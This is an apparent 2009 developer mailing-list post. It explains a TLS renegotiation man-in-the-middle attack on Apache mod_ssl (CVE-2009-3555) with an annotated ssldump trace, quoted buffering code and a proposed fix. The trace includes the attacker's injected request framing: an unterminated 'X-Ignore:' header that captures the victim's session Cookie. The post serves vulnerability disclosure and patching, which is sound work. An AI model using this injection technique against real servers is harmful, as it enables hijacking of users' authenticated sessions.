Hi everybody
for clarification of https://issues.apache.org/bugzilla/show_bug.cgi?id=48204 a more detailed explanation of the described attack scenario is given here. With the patch CVE-2009-3555-2.2.patch client initiated renegotiation has been disabled, as a consequence of CVE-2009-3555. But a MITM attacker can also use the server initiated renegotiation for exceting an arbitrary request with the Cookie of a victim. (see http://extendedsubset.com/Renegotiating_TLS.pdf ) The following is the output of ssldump between a MITM attacker and the server. Remarks from my side are starting with '###', longish message are replace by '....'. New TCP connection #1: adnws121.zh.adnovum.ch(44889) <-> adnpool01.zh.adnovum.ch(44300) 1 1 0.4423 (0.4423) C>S SSLv2 compatible client hello Version 3.1 cipher suites .... 1 2 0.4447 (0.0024) S>C Handshake ServerHello Version 3.1 .... 1 3 0.4448 (0.0000) S>C Handshake Certificate 1 4 0.4448 (0.0000) S>C Handshake ServerHelloDone 1 5 0.4546 (0.0098) C>S Handshake ClientKeyExchange 1 6 0.4595 (0.0049) C>S ChangeCipherSpec 1 7 0.5504 (0.0908) C>S Handshake Finished 1 8 0.5513 (0.0009) S>C ChangeCipherSpec 1 9 0.5513 (0.0000) S>C Handshake Finished ### up to here the MITM has established a normale handshake with the server 1 10 0.5521 (0.0008) C>S application_data --------------------------------------------------------------- GET /cert/hacked.html HTTP/1.1 Host: adnpool01.zh.adnovum.ch GET /cert/injected.html HTTP/1.1 Host: adnpool01.zh.adnovum.ch X-Ignore: --------------------------------------------------------------- ### the MITM is sending two request in one chunk application_data: First a complete request, that is causes the server to initiate a renegotiation. And second request, that is incomplete, since the last header 'X-Ignore:' is not terminated by CRLF. At this point the server has consumend and decrypted both requests, because the request line will be readed with buffer size of 2*8190 (the default of the configuration paramter LimitRequestLine) rv = ap_rgetline(&(r->the_request), (apr_size_t)(r->server->limit_req_line + 2), &len, r, 0, bb); And in ssl_io_input_getline(..) all decrypted data will be written to a buffer: static apr_status_t ssl_io_input_getline(bio_filter_in_ctx_t *inctx, char *buf, apr_size_t *len) { .... .... if (pos) { char *value; int length; apr_size_t bytes = pos - buf; bytes += 1; value = buf + bytes; length = *len - bytes; char_buffer_write(&inctx->cbuf, value, length); *len = bytes; } return APR_SUCCESS; } And any subsequent call of ssl_io_input_read(..) will first consume the data in the buffer!!!!! 1 11 0.5584 (0.0062) S>C Handshake HelloRequest ### the server is initiating a renegation, due to 'SSLVerifyClient require' configuration for the location /cert/* From now on the MITM is just downstreaming the decrypted data to the victim. And upstreaming the encrypted data to the server, until he observes the change_cipher_spec messages. 1 12 0.6504 (0.0919) C>S Handshake ClientHello Version 3.1 cipher suites .... 1 13 0.6530 (0.0025) S>C Handshake ServerHello Version 3.1 .... 1 14 0.6530 (0.0000) S>C Handshake Certificate 1 15 0.6530 (0.0000) S>C Handshake CertificateRequest .... ServerHelloDone 1 16 4.5204 (3.8674) C>S Handshake Certificate 1 17 4.5204 (0.0000) C>S Handshake ClientKeyExchange 1 18 4.5204 (0.0000) C>S Handshake CertificateVerify .... 1 19 4.5204 (0.0000) C>S ChangeCipherSpec 1 20 4.5204 (0.0000) C>S Handshake Finished 1 21 4.5589 (0.0384) S>C ChangeCipherSpec 1 22 4.5589 (0.0000) S>C Handshake Finished 1 23 4.5619 (0.0030) S>C application_data --------------------------------------------------------------- HTTP/1.1 200 OK Date: Mon, 16 Nov 2009 19:53:25 GMT Server: Apache ... --------------------------------------------------------------- 1 24 4.5619 (0.0000) S>C application_data --------------------------------------------------------------- .... --------------------------------------------------------------- 1 25 4.6604 (0.0984) C>S application_data --------------------------------------------------------------- GET /cert/index.html HTTP/1.1 Cookie: JSESSIONID=bhe8r67be3wy943hf73 .... ### After recieving the request of the victim the server can complete the incomplete second request of MITM. The server is reading the following request header: GET /cert/injected.html HTTP/1.1 X-Ignore: GET /cert/index.html HTTP/1.1 Cookie: JSESSIONID=bhe8r67be3wy943hf73 .... I.e. the second request of the attacker will be executed with the Cookie of the victim, and so the attacker is puting its payload into the second request. --------------------------------------------------------------- 1 26 4.6666 (0.0062) S>C application_data --------------------------------------------------------------- HTTP/1.1 200 OK Date: Mon, 16 Nov 2009 19:53:29 GMT Server: Apache .... --------------------------------------------------------------- 1 27 4.6666 (0.0000) S>C application_data --------------------------------------------------------------- .... --------------------------------------------------------------- 1 28 9.6708 (5.0042) S>C Alert level warning value close_notify 1 9.6713 (0.0004) S>C TCP FIN With the change described in https://issues.apache.org/bugzilla/show_bug.cgi?id=48204 the buffer used in ssl_io_input_read(..) will be reset, and so the second request of the MITM will be dropped. The first request will be executed, but since there is no Cookie from the victim is the less dangerous one. There are no side effects for two reasons: o any upload body is buffered in ssl_hook_Access(..) before the server is initiating a renegotiation o normal clients are following the 'request/response' pattern of HTTP. They do not send a second request without awaiting the response of the first one. They use several connections. Regards Hartmut Keil -- AdNovum Informatik AG Hartmut Keil, Senior Software Engineer Dipl. Physiker Roentgenstrasse 22, CH-8005 Zurich mailto:[email protected] phone: +41 44 272 6111, fax: +41 44 272 6312 http://www.adnovum.ch AdNovum Locations: Bern, Budapest, San Mateo, Zurich (HQ)
